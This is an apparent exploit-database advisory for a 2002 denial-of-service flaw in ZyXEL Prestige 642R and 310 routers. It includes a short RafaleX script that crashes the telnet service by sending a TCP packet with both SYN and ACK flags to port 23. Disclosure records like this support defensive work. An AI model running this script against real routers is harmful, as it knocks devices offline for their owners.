exploits , vulnerabilities , articles , Zyxel Prestige 642R Malformed Packet Denial Of Service Vulnerability

Title	Zyxel Prestige 642R Malformed Packet Denial Of Service Vulnerability
Published	2002-06-17-12:00AM
Updated	2002-06-24-07:48PM
Class	Failure to Handle Exceptional Conditions
CVE	CAN-2002-1071
Remote	Yes
Local	No
Credit	Discovery of this issue is credited to Kistler Ueli <iuk@gmx.ch>.
Vulnerable	ZyXEL Prestige 642R ZyXEL Prestige 310
Not Vulnerable	ZyXEL Prestige 643
Code	The following example script was submitted: # This is a RafaleX script (Download: www.packx.net) # Rafale X script # --------------- # Action : Make a ZyXEL 642R Prestige Router inaccessible on port 23 # %name=ZyXEL telnet service DoS %category=Denial of service %date=23-05-2002 %rafalemin=0.2 %description=Crash ZyXEL router telnet service with ACK and SYN flag // Variables $done=Target attacked... // Do the stuff... !Display=Please wait... !Sleep 500 PORTDST=23 IPHEADERSIZE=20 ACK=1 SYN=1 !Display=Sending the packet... !SEND 1 TCP !Sleep 200 !Display=ACK/SYN Packet sent! ZyXEL telnet service crashed (V2.50(AJ.6)) !Sleep 1000 !Display=$done
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